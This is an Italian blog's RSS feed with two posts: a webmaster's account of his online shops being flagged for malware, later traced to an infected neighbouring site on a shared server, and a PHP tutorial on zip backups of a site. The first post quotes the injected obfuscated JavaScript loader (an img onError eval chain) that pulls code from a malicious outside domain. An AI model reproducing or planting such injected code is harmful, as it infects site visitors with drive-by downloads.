
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Update Blog &#187; Php</title>
	<atom:link href="http://www.updateblog.it/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.updateblog.it</link>
	<description>Rimanete aggiornati con Update!</description>
	<lastBuildDate>Wed, 16 Nov 2011 13:13:51 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>[RISOLTO] Sito Infetto Da Malware: Dove?</title>
		<link>http://www.updateblog.it/2010/internet/sito-infetto-da-malware-dove/</link>
		<comments>http://www.updateblog.it/2010/internet/sito-infetto-da-malware-dove/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 18:21:38 +0000</pubDate>
		<dc:creator>Mattia</dc:creator>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[codice malevolo]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[webmaster tools]]></category>

		<guid isPermaLink="false">http://www.updateblog.it/?p=1159</guid>
		<description><![CDATA[In questi giorni mi sono arrivate un paio di notifiche da parte di utenti che aprendo due miei siti (negozi online per la precisione) l&#8217;antivirus scatta sull&#8217;attenti segnalando codice malevolo. Pensando che fosse qualcos&#8217;altro non ho dato molto peso, oggi però l&#8217;ho potuto vedere grazie ad uno screenshot.
C&#8217;è qualcosa che non va.. guardando sui webmaster [...]


<b>Articoli Correlati:</b><ol><li><a href='http://www.updateblog.it/2009/utility/backup-del-tuo-blog-e-sito-in-meno-di-2-minuti-con-php/' rel='bookmark' title='Permanent Link: Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php'>Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php</a></li>
<li><a href='http://www.updateblog.it/2011/web/dreamweaver-aggiunge-righe-vuote-nel-codice-html/' rel='bookmark' title='Permanent Link: Dreamweaver Aggiunge Righe Vuote nel Codice Html'>Dreamweaver Aggiunge Righe Vuote nel Codice Html</a></li>
<li><a href='http://www.updateblog.it/2009/motori-di-ricerca/motore-di-ricerca-di-codice-open-source/' rel='bookmark' title='Permanent Link: Motore di Ricerca di Codice Open Source'>Motore di Ricerca di Codice Open Source</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>In questi giorni mi sono arrivate un paio di notifiche da parte di utenti che aprendo due miei siti (negozi online per la precisione) l&#8217;antivirus scatta sull&#8217;attenti segnalando codice malevolo. Pensando che fosse qualcos&#8217;altro non ho dato molto peso, oggi però l&#8217;ho potuto vedere grazie ad uno screenshot.</p>
<p>C&#8217;è qualcosa che non va.. guardando sui webmaster tools di Google vedo che su un sito mi segnala una pagina contenente questo codice:</p>
<blockquote><p><strong>Purtroppo Google ha trovato codice dannoso sul tuo sito.</strong></p>
<p>&lt; img src=&#8221;about:blank&#8221; onError=&#8217;astro=unescape(&#8220;%27&#8243;);astru=<br />
unescape(&#8220;%22&#8243;);sksa=eval(&#8220;document.getElementById(&#8220;+astro+&#8221;<br />
seaid&#8221;+astro+&#8221;).src=unescape(&#8220;+astro+&#8221;%68%74%74%70%3A%2F%2F&#8221;<br />
+astro+&#8221;)+document.getElementById(&#8220;+astro+&#8221;5550&#8243;+astro+&#8221;).id<br />
+unescape(&#8220;+astro+&#8221;%2E%69%6E%2F&#8221;+astro+&#8221;)+&#8221;+astro+&#8221;129091371<br />
2&#8243;+astro+&#8221;+unescape(&#8220;+astro+&#8221;%2E%70%68%70&#8243;+astro+&#8221;)&#8221;);docume<br />
nt.getElementById(&#8220;seaid&#8221;).src=sksa&#8217; style=&#8221;width:300;height<br />
:300;border:0px;&#8221; &gt;</p></blockquote>
<p>mentre sul secondo sito mi dice che è tutto ok.</p>
<p>Facendo qualche ricerca trovo che questo codice è proprio la codifica di un url solitamente composto cosi xxxxx.in/xxxx.php che contiene <strong>codice malevolo e fa aprire 2 pdf infetti</strong>. Leggo inoltre che ha colpito molti blog su base wordpress.</p>
<p>Per caso ne hai sentito parlare?</p>
<p>Io nei miei due negozi online, creati con cms diversi (zen-cart e virtuemart) non riesco a trovare questo codice, inoltre ho guardato le date di ultima modifica dei file per capire se qualcuno avesse iniettato codice malevolo e non c&#8217;è niente di recente. Ho cercato veramente a fondo leggendo tutti i casi e cercando file dopo file eventuali stringhe nascoste, iframe o script, htaccess e file config,  ma niente! E&#8217; tutto in ordine e pulito..</p>
<p>A me personalmente non è mai apparso niente navigandoci e comunque Google <strong>non da l&#8217;avviso di &#8220;sito che può danneggiare il tuo computer&#8221;</strong>; non so più dove guardare o cosa fare. Credo ci sia qualcosa, perchè avendo ricevuto segnalazioni diverse ho scartato l&#8217;idea di un falso positivo o di un problema sul pc con cui si naviga.</p>
<p>Hai qualche consiglio da darmi? esperienze simili? aiuti su dove potrebbe esserci un buco?</p>
<p>I due negozi sono <a title="Bigiotteria" href="http://www.quasigioielli.it">bigiotteria</a> e <a title="cosmetici" href="http://www.kalleis.com">cosmetici</a> la versione dei cms è piuttosto datata lo so, però sono le versioni stabili con relative patch; non le ho ancora aggiornate in quanto sono gli ultimi mesi di vita, presto lasceranno il posto ad un negozio tutto nuovo.</p>
<p>Per il momento non mi resta che aspettare l&#8217;aggiornamento dei dati in strumenti per webmaster di Google per vedere se lo ritrova.</p>
<p>Ogni consiglio sarà veramente di aiuto, <strong>grazie</strong>!</p>
<p>P.S.: Ho un buono adwords da 75 euro in più <img src='http://www.updateblog.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Potrebbe essere un regalo per chi risolve il caso <img src='http://www.updateblog.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>P.P.S.: Visitando i siti ricevete un allarme dal vostro antivirus? (se loa vete ovviamente)</p>
<p><strong>UPDATE</strong>: Ancora oggi sono in alto mare.. ho potuto testarlo di persona; dopo il tad di chiusura &lt;/html&gt; appare il codice postato sopra, richiama un file php che carica delle classi java, fa scaricare dei file pdf e fa partire il media player di windows. Un disastro insomma.</p>
<p>Vedo che il sito dannoso è 3737373.in o in-in.in, trattasi di Un Trojan-Downlaoder.java.openconnection.bu e un trojan Packed.Win32.Krap.ao</p>
<p><strong>UPDATE RISOLUTIVO</strong>: Bene, trovata la soluzione. Il codice maligno non riuscivo a scovarlo semplicemente perchè non c&#8217;era. -.- Mi ha risposto il provider dicendo che han risolto; un sito ospitato sul mio stesso server stava infettando tutti gli altri.</p>
<p>Bene, anno nuovo server nuovo, passo ad un dedicato <img src='http://www.updateblog.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>


<br /><p><b>Articoli Correlati:</b><ol><li><a href='http://www.updateblog.it/2009/utility/backup-del-tuo-blog-e-sito-in-meno-di-2-minuti-con-php/' rel='bookmark' title='Permanent Link: Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php'>Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php</a></li>
<li><a href='http://www.updateblog.it/2011/web/dreamweaver-aggiunge-righe-vuote-nel-codice-html/' rel='bookmark' title='Permanent Link: Dreamweaver Aggiunge Righe Vuote nel Codice Html'>Dreamweaver Aggiunge Righe Vuote nel Codice Html</a></li>
<li><a href='http://www.updateblog.it/2009/motori-di-ricerca/motore-di-ricerca-di-codice-open-source/' rel='bookmark' title='Permanent Link: Motore di Ricerca di Codice Open Source'>Motore di Ricerca di Codice Open Source</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.updateblog.it/2010/internet/sito-infetto-da-malware-dove/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Backup del Tuo Blog e Sito in Meno di 2 Minuti con Php</title>
		<link>http://www.updateblog.it/2009/utility/backup-del-tuo-blog-e-sito-in-meno-di-2-minuti-con-php/</link>
		<comments>http://www.updateblog.it/2009/utility/backup-del-tuo-blog-e-sito-in-meno-di-2-minuti-con-php/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 15:29:56 +0000</pubDate>
		<dc:creator>Mattia</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Utility]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[backup blog]]></category>
		<category><![CDATA[backup file online]]></category>
		<category><![CDATA[backup sito]]></category>
		<category><![CDATA[pclzip]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.updateblog.it/?p=743</guid>
		<description><![CDATA[Esegui regolarmente il backup dei tuoi siti, blog e il vario materiale che tieni on-line? No? Male! Ma non sei sicuramente l&#8217;unico, ci sono anche io.
Però è veramente importante salvare tutte le proprie pagine web, tutti i nostri lavori e progetti, giorno dopo giorno per evitare catastrofi di cui pentirci. E&#8217; talmente importante quanto noioso [...]


<b>Articoli Correlati:</b><ol><li><a href='http://www.updateblog.it/2009/software/backup-e-sincronizzazione-file-per-accedere-da-pc-diversi-gratis/' rel='bookmark' title='Permanent Link: Backup e Sincronizzazione File per Accedere da Pc Diversi, Gratis!'>Backup e Sincronizzazione File per Accedere da Pc Diversi, Gratis!</a></li>
<li><a href='http://www.updateblog.it/2010/internet/sito-infetto-da-malware-dove/' rel='bookmark' title='Permanent Link: [RISOLTO] Sito Infetto Da Malware: Dove?'>[RISOLTO] Sito Infetto Da Malware: Dove?</a></li>
<li><a href='http://www.updateblog.it/2009/software/come-copiare-un-dvd-o-parti-di-video-con-vlc/' rel='bookmark' title='Permanent Link: Come Copiare un Dvd o Parti di Video con Vlc'>Come Copiare un Dvd o Parti di Video con Vlc</a></li>
<li><a href='http://www.updateblog.it/2010/software/mozilla-thunderbird-file-di-posta-enormi-anche-senza-messaggi/' rel='bookmark' title='Permanent Link: Mozilla Thunderbird File di Posta Enormi Anche Senza Messaggi'>Mozilla Thunderbird File di Posta Enormi Anche Senza Messaggi</a></li>
<li><a href='http://www.updateblog.it/2009/utility/servizio-di-file-hosting-illimitato-e-gratuito-per-1-giorno/' rel='bookmark' title='Permanent Link: Servizio di File-hosting Illimitato e Gratuito per 1 Giorno'>Servizio di File-hosting Illimitato e Gratuito per 1 Giorno</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_744" class="wp-caption alignleft" style="width: 180px"><img class="size-full wp-image-744" title="backup-sito-blog-veloce" src="http://www.updateblog.it/wp-content/uploads/2009/11/backup-sito-blog-veloce.jpg" alt="Salvataggio Veloce delle Tue Pagine" width="170" height="155" /><p class="wp-caption-text">Salvataggio Veloce delle Tue Pagine</p></div>
<p>Esegui regolarmente il <strong>backup dei tuoi siti, blog</strong> e il vario materiale che tieni on-line? No? Male! Ma non sei sicuramente l&#8217;unico, ci sono anche io.</p>
<p>Però è veramente importante <strong>salvare tutte le proprie pagine web</strong>, tutti i nostri lavori e progetti, giorno dopo giorno per evitare catastrofi di cui pentirci. E&#8217; talmente importante quanto noioso e lento come processo.</p>
<p>O meglio, quando andiamo a fare un backup dei nostri databases, ci basta un dump attraverso php o uno dei tanti software disponibili, oppure con un semplice esporta da phpmyadmin, o da qualche <a title="Plugins per Wordpress" href="http://www.updateblog.it/category/wordpress/plugins/">plugins per wordpress</a>; insomma in pochi click e pochissimo tempo possiamo salvare sul nostro pc una copia dei vari databases.</p>
<p>Ma per fare un <strong>backup completo di tutti i files del nostro sito/blog</strong>? Quanto tempo ci vuole?<span id="more-743"></span></p>
<p>Se abbiamo un sito vetrina  di poche pagine con qualche foto, allora riusciamo a scaricarlo interamente in un tempo ragionevole, ma se invece nel nostro hosting abbiamo caricato un cms bello corposo? un blog, un e-commerce, un portale il tutto contornato da anni di fotografie e file vari?</p>
<p>In questo caso il tempo per avere una copia completa sarà molto più elevato, sia per il maggior numero di files, sia per la dimensione del progetto; ed è proprio per questo che i backup dei files vengono fatti con minor frequenza e non regolarmente rispetto ai backup dei databases.</p>
<p>Proprio pochi giorni fà nell&#8217;occasione dell&#8217;<a href="http://www.updateblog.it/category/wordpress/">aggiornamento di wordpress</a>, faccio un backup mysql da phpmyadmin e poi procedo; prima di cliccare su aggiorna vedo le scritte che avvisano di fare un bel <strong>backup del database e dei files</strong>, ci rifletto un pò e poi continuo, non avevo voglia di aspettare. Fatalità l&#8217;aggiornamento in un primo momento restituiva errore rendendo il blog inaccessibile.. ormai mettermi a piangere in un angolino non serviva più; poi per fortuna è ripartito senza problemi&#8230; e indovina un po&#8217;? ho fatto subito un backup completo!</p>
<p>Quella è stata l&#8217;ultima volta che ho rischiato, da lì in poi sempre backup di tutto. In ogni caso aspettare decine e decine di minuti non mi andava e quindi ho pensato e trovato una soluzione molto comoda.</p>
<p><strong>Come fare un backup dei file del nostro sito o blog in meno di due minuti?</strong></p>
<p>La lentezza è data soprattutto dalla quantità di files, grandi o piccoli che siano; per capirci, scaricare 1 file da 100 Mb impiega meno tempo che scaricare 100 files da 1 Mb, anche se alla fine, sempre 100 Mb sono.</p>
<p>Quindi se prepariamo <strong>un archivio contenente tutti i nostri files</strong> direttamente nel server hosting, dovremo scaricare solo un singolo file, diminuendo cosi drasticamente il tempo dell&#8217;operazione.</p>
<p>Vediamo come fare: il tutto è possibile grazie alla libreria <strong>PCLZIP di Php </strong>prelevabile dal sito <a href="http://www.phpconcept.net/pclzip/index.en.php">phpconcept.net</a>, con la quale possiamo manipolare gli archivi zip.</p>
<p>Poi dobbiamo preparare un file php che utilizza questa libreria per creare l&#8217;archivio e un altro file per estrarlo, in caso di ripristino.</p>
<p>Per la creazione dell&#8217;archivio vediamo questo minimale script <strong>backup.php</strong>:</p>
<blockquote><p>&lt;?php<br />
include_once (&#8216;pclzip.lib.php&#8217;);<br />
$archive = new PclZip(&#8216;./backup_&#8217;.date(&#8216;d-m-y&#8217;).&#8217;.zip&#8217;);<br />
$v_list = $archive-&gt;create(realpath(dirname(__FILE__)));<br />
if ($v_list == 0) {<br />
die(&#8220;Error : &#8220;.$archive-&gt;errorInfo(true));<br />
}<br />
else echo &#8220;Archivio creato con successo!&#8221;;<br />
?&gt;</p></blockquote>
<p>il file dovrà essere nella stessa posizione della libreria pclzip.lib.php, in caso contrario basterà aggiornare il percorso dell&#8217;include.</p>
<p>Nella seconda riga possiamo modificare <strong>dove verrà creato il file e con che nome</strong>, nell&#8217;esempio verrà creato nella stessa posizione del file backup.php e con il nome backup_datacreazione.zip. Potete metterlo in una sottocartella e aggiungerci altre info attraverso le variabili php, personalizzabile a piacimento.</p>
<p>Nella terza riga scegliamo quali cartelle e files vogliamo inserire nell&#8217;archivio. Nell&#8217;esempio qui sopra, con la variabile &#8220;<strong>realpath(dirname(__FILE__))</strong>&#8221; indichiamo tutti i file e cartelle presenti nella root del vostro hosting; basterebbe un semplice &#8220;./&#8221; ma non viene accettato, come potete vedere su <a href="http://www.phpconcept.net/pclzip/index.en.php">phpconcept.net</a> è un problema noto.</p>
<p>Un esempio diverso: per salvare la cartella blog useremo:</p>
<blockquote><p>$v_list = $archive-&gt;create(&#8216;/blog&#8217;);</p></blockquote>
<p>Se tutto va a buon fine verrà visualizzato il messaggio &#8220;Archivio creato con successo&#8221; o restituirà l&#8217;errore in caso contrario.</p>
<p>Per estrarre l&#8217;archivio in caso di ripristino utilizziamo <strong>restore.php</strong>:</p>
<blockquote><p>&lt;?php<br />
require_once(&#8216;pclzip.lib.php&#8217;);<br />
$archive = new PclZip(&#8216;backup.zip&#8217;);<br />
if ($archive-&gt;extract() == 0) {<br />
die(&#8220;Errore : &#8220;.$archive-&gt;errorInfo(true));<br />
}<br />
else echo &#8220;Archivio Estratto con successo!&#8221;;<br />
?&gt;</p></blockquote>
<p>Qui dobbiamo modificare solo la seconda riga con il nome corretto del file zip che abbiamo creato prima attraverso lo script backup.php. Eseguendo lo script verranno estratti tutti i file e cartelle nella stessa posizione del file restore.php.</p>
<p><strong>Per sicurezza è meglio rinominare questi files</strong> con un nome più complicato di backup.php e restore.php o magari <strong>proteggerli con una password</strong>, in modo da evitare di far lavorare i malintenzionati.</p>
<p>Lo stesso vale per il nome del file zip, mettiamolo in una sottocartella e <strong>diamogli un nome particolare</strong> e ricordiamoci di <strong>cancellarlo una volta scaricato</strong>, cosi evitiamo ogni tipo di rischio.</p>
<p>Potete Scaricare i 2 files pronti e la libreria che ho usato io:<br />
<a href="http://www.updateblog.it/download/backup-sito-blog-php.zip">Script e Libreria (Zip da36 Kb)</a>.</p>
<p>Una volta settate le variabili e salvati i link ai due script nei preferiti, abbiamo un semplice sistema di salvataggio delle nostre pagine; in un click si avvia il backup  e poi si scarica il file zip a banda piena.</p>
<p><strong>Ecco come salvare le pagine del Tuo Blog o Sito in Meno di 2 Minuti.</strong></p>
<p>Lo script di backup è minimale, infatti richiama solo la funzione del pclzip, ma con il php si possono fare molte cose interessanti. Ad esempio si potrebbero aggiungere molti controlli, come l&#8217;esistenza di un archivio vecchio, la richiesta di sovrascrivere o meno il file e cosi via.</p>
<p>Inoltre si può aggiungere che restituisca oltre al messaggio di successo anche il link diretto per il download del file zip. Insomma si può creare un vero e proprio sistema di salvataggio.</p>
<p>Io ad esempio ho un server linux casalingo che ogni mattina attraverso cron esegue uno script che fa il dump di tutti i miei databases residenti nei vari hosting; adesso ci aggiungerò anche un richiamo allo script di backup cosi viene creato lo zip e poi lo faccio scaricare attraverso wget.</p>
<p>Cosi ogni giorno ho il backup sia dei databases sia di tutti i files. <img src='http://www.updateblog.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>


<br /><p><b>Articoli Correlati:</b><ol><li><a href='http://www.updateblog.it/2009/software/backup-e-sincronizzazione-file-per-accedere-da-pc-diversi-gratis/' rel='bookmark' title='Permanent Link: Backup e Sincronizzazione File per Accedere da Pc Diversi, Gratis!'>Backup e Sincronizzazione File per Accedere da Pc Diversi, Gratis!</a></li>
<li><a href='http://www.updateblog.it/2010/internet/sito-infetto-da-malware-dove/' rel='bookmark' title='Permanent Link: [RISOLTO] Sito Infetto Da Malware: Dove?'>[RISOLTO] Sito Infetto Da Malware: Dove?</a></li>
<li><a href='http://www.updateblog.it/2009/software/come-copiare-un-dvd-o-parti-di-video-con-vlc/' rel='bookmark' title='Permanent Link: Come Copiare un Dvd o Parti di Video con Vlc'>Come Copiare un Dvd o Parti di Video con Vlc</a></li>
<li><a href='http://www.updateblog.it/2010/software/mozilla-thunderbird-file-di-posta-enormi-anche-senza-messaggi/' rel='bookmark' title='Permanent Link: Mozilla Thunderbird File di Posta Enormi Anche Senza Messaggi'>Mozilla Thunderbird File di Posta Enormi Anche Senza Messaggi</a></li>
<li><a href='http://www.updateblog.it/2009/utility/servizio-di-file-hosting-illimitato-e-gratuito-per-1-giorno/' rel='bookmark' title='Permanent Link: Servizio di File-hosting Illimitato e Gratuito per 1 Giorno'>Servizio di File-hosting Illimitato e Gratuito per 1 Giorno</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.updateblog.it/2009/utility/backup-del-tuo-blog-e-sito-in-meno-di-2-minuti-con-php/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

